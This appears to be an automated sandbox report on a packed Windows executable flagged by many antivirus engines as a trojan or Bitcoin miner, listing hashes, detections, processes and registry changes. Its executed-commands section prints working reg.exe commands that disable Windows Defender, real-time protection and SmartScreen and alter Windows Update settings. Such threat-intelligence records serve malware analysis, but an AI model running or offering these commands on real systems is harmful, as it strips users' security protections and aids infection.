paladin316

twjiyyeyp_exe_2019-07-23_23_30.txt

Jul 23rd, 2019
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  1.  
  2. * MalFamily: "Malicious"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "twjiyyeyp.exe"
  7. * File Size: 47616
  8. * File Type: "PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed"
  9. * SHA256: "a97545e2f031070ba2ae29c5c2defd8b98a4b6410256e095afc927242cc87106"
  10. * MD5: "a9d5676e934f95d6d84aa3522ca3623c"
  11. * SHA1: "f3c8479e31e17bca722add56c1f0d9d9fe7b7f78"
  12. * SHA512: "83697efb383e4993bd5c23b3ffe3e07a71524b14fd358b716df76c3aa53628afd87895f7b14e9e504c5cb7a858159d62516af6d4279fbb24abc9222c8f5593e0"
  13. * CRC32: "109413F4"
  14. * SSDEEP: "768:yMRHDEs1wO3ga8qCfCbmnMPy2jwKTBVpWOTgDEI/Wax4QAneyTbOA84rXLSXxrO:yyHDl2OJ83qbmMPyHK93s7/Wax4QAdy0"
  15.  
  16. * Process Execution:
  17. "twjiyyeyp.exe",
  18. "cmd.exe",
  19. "reg.exe",
  20. "reg.exe",
  21. "reg.exe",
  22. "reg.exe",
  23. "reg.exe",
  24. "reg.exe",
  25. "reg.exe",
  26. "reg.exe",
  27. "reg.exe",
  28. "reg.exe",
  29. "reg.exe",
  30. "reg.exe",
  31. "reg.exe",
  32. "reg.exe",
  33. "reg.exe"
  34.  
  35.  
  36. * Executed Commands:
  37. "\"C:\\Windows\\sysnative\\cmd.exe\" /c \"C:\\Users\\user\\AppData\\Local\\Temp\\18E9.tmp\\1919.tmp\\1929.bat C:\\Users\\user\\AppData\\Local\\Temp\\twjiyyeyp.exe\"",
  38. "C:\\Windows\\sysnative\\cmd /c \"C:\\Users\\user\\AppData\\Local\\Temp\\18E9.tmp\\1919.tmp\\1929.bat C:\\Users\\user\\AppData\\Local\\Temp\\twjiyyeyp.exe\"",
  39. "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\Sense\" /v \"Start\" /t \"REG_DWORD\" /d \"4\" /f",
  40. "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\WdNisSvc\" /v \"Start\" /t \"REG_DWORD\" /d \"4\" /f",
  41. "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t \"REG_DWORD\" /d \"1\" /f",
  42. "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\WinDefend\" /v \"Start\" /t \"REG_DWORD\" /d \"4\" /f",
  43. "C:\\Windows\\system32\\reg.exe Reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"1\" /f",
  44. "C:\\Windows\\system32\\reg.exe Reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"1\" /f",
  45. "C:\\Windows\\system32\\reg.exe Reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"1\" /f",
  46. "C:\\Windows\\system32\\reg.exe Reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"1\" /f",
  47. "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\" /v \"SmartScreenEnabled\" /t \"REG_SZ\" /d \"Off\" /f",
  48. "reg add \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\AppHost\" /v \"SmartScreenEnabled\" /t \"REG_SZ\" /d \"Off\" /f",
  49. "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"NoAutoUpdate\" /t \"REG_DWORD\" /d \"0\" /f",
  50. "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"AUOptions\" /t \"REG_DWORD\" /d \"2\" /f",
  51. "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"ScheduledInstallDay\" /t \"REG_DWORD\" /d \"0\" /f",
  52. "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"ScheduledInstallTime\" /t \"REG_DWORD\" /d \"3\" /f",
  53. "reg delete hkcu\\Environment /v windir /f"
  54.  
  55.  
  56. * Signatures Detected:
  57.  
  58. "Description": "A process created a hidden window",
  59. "Details":
  60.  
  61. "Process": "twjiyyeyp.exe -> C:\\Windows\\sysnative\\cmd"
  62.  
  63.  
  64.  
  65.  
  66. "Description": "The binary likely contains encrypted or compressed data.",
  67. "Details":
  68.  
  69. "section": "name: UPX1, entropy: 7.90, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x0000b000, virtual_size: 0x0000b000"
  70.  
  71.  
  72.  
  73.  
  74. "Description": "The executable is compressed using UPX",
  75. "Details":
  76.  
  77. "section": "name: UPX0, entropy: 0.00, characteristics: IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00000000, virtual_size: 0x0000f000"
  78.  
  79.  
  80.  
  81.  
  82. "Description": "File has been identified by 25 Antiviruses on VirusTotal as malicious",
  83. "Details":
  84.  
  85. "FireEye": "Generic.mg.a9d5676e934f95d6"
  86.  
  87.  
  88. "CAT-QuickHeal": "Trojan.GenericPMF.S3017292"
  89.  
  90.  
  91. "Cylance": "Unsafe"
  92.  
  93.  
  94. "Cybereason": "malicious.e31e17"
  95.  
  96.  
  97. "F-Prot": "W32/BitCoin.M.gen!Eldorado"
  98.  
  99.  
  100. "Symantec": "ML.Attribute.HighConfidence"
  101.  
  102.  
  103. "APEX": "Malicious"
  104.  
  105.  
  106. "Avast": "Win32:Evo-gen Susp"
  107.  
  108.  
  109. "Kaspersky": "UDS:DangerousObject.Multi.Generic"
  110.  
  111.  
  112. "Endgame": "malicious (moderate confidence)"
  113.  
  114.  
  115. "F-Secure": "Heuristic.HEUR/AGEN.1021319"
  116.  
  117.  
  118. "Zillya": "Trojan.Agent.Win32.915103"
  119.  
  120.  
  121. "Invincea": "heuristic"
  122.  
  123.  
  124. "McAfee-GW-Edition": "BehavesLike.Win32.Backdoor.pc"
  125.  
  126.  
  127. "SentinelOne": "DFI - Malicious PE"
  128.  
  129.  
  130. "Cyren": "W32/BitCoin.M.gen!Eldorado"
  131.  
  132.  
  133. "Jiangmin": "RiskTool.BitCoinMiner.gwc"
  134.  
  135.  
  136. "Avira": "HEUR/AGEN.1021319"
  137.  
  138.  
  139. "ZoneAlarm": "UDS:DangerousObject.Multi.Generic"
  140.  
  141.  
  142. "Microsoft": "Trojan:Win32/Wacatac.B!ml"
  143.  
  144.  
  145. "Acronis": "suspicious"
  146.  
  147.  
  148. "Zoner": "Trojan.Win32.73853"
  149.  
  150.  
  151. "AVG": "Win32:Evo-gen Susp"
  152.  
  153.  
  154. "CrowdStrike": "win/malicious_confidence_90% (D)"
  155.  
  156.  
  157. "Qihoo-360": "HEUR/QVM11.1.B86D.Malware.Gen"
  158.  
  159.  
  160.  
  161.  
  162. "Description": "Attempts to disable Windows Defender",
  163. "Details":
  164.  
  165.  
  166. "Description": "Attempts to disable Windows Auto Updates",
  167. "Details":
  168.  
  169.  
  170.  
  171. * Started Service:
  172.  
  173. * Mutexes:
  174. "Local\\ZoneAttributeCacheCounterMutex",
  175. "Local\\ZonesCacheCounterMutex",
  176. "Local\\ZonesLockedCacheCounterMutex"
  177.  
  178.  
  179. * Modified Files:
  180. "C:\\Users\\user\\AppData\\Local\\Temp\\18E9.tmp\\1919.tmp\\1929.bat"
  181.  
  182.  
  183. * Deleted Files:
  184. "C:\\Users\\user\\AppData\\Local\\Temp\\18E9.tmp",
  185. "C:\\Users\\user\\AppData\\Local\\Temp\\18E9.tmp\\1919.tmp",
  186. "C:\\Users\\user\\AppData\\Local\\Temp\\18E9.tmp\\1919.tmp\\1929.tmp",
  187. "C:\\Users\\user\\AppData\\Local\\Temp\\18E9.tmp\\1919.tmp\\192A.tmp",
  188. "C:\\Users\\user\\AppData\\Local\\Temp\\18E9.tmp\\1919.tmp\\extd.exe",
  189. "C:\\Users\\user\\AppData\\Local\\Temp\\18E9.tmp\\1919.tmp\\1929.bat",
  190. "C:\\Users\\user\\AppData\\Local\\Temp\\18E9.tmp\\1919.tmp\\"
  191.  
  192.  
  193. * Modified Registry Keys:
  194. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
  195. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect",
  196. "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Sense",
  197. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Sense\\Start",
  198. "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WdNisSvc",
  199. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\WdNisSvc\\Start",
  200. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender",
  201. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware",
  202. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\WinDefend\\Start",
  203. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection",
  204. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableBehaviorMonitoring",
  205. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableOnAccessProtection",
  206. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableScanOnRealtimeEnable",
  207. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SmartScreenEnabled",
  208. "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\AppHost",
  209. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\AppHost\\SmartScreenEnabled",
  210. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU",
  211. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\\NoAutoUpdate",
  212. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\\AUOptions",
  213. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\\ScheduledInstallDay",
  214. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\\ScheduledInstallTime"
  215.  
  216.  
  217. * Deleted Registry Keys:
  218. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  219. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  220. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  221. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  222. "HKEY_CURRENT_USER\\Environment\\windir"
  223.  
  224.  
  225. * DNS Communications:
  226.  
  227. * Domains:
  228.  
  229. * Network Communication - ICMP:
  230.  
  231. * Network Communication - HTTP:
  232.  
  233. * Network Communication - SMTP:
  234.  
  235. * Network Communication - Hosts:
  236.  
  237. * Network Communication - IRC:
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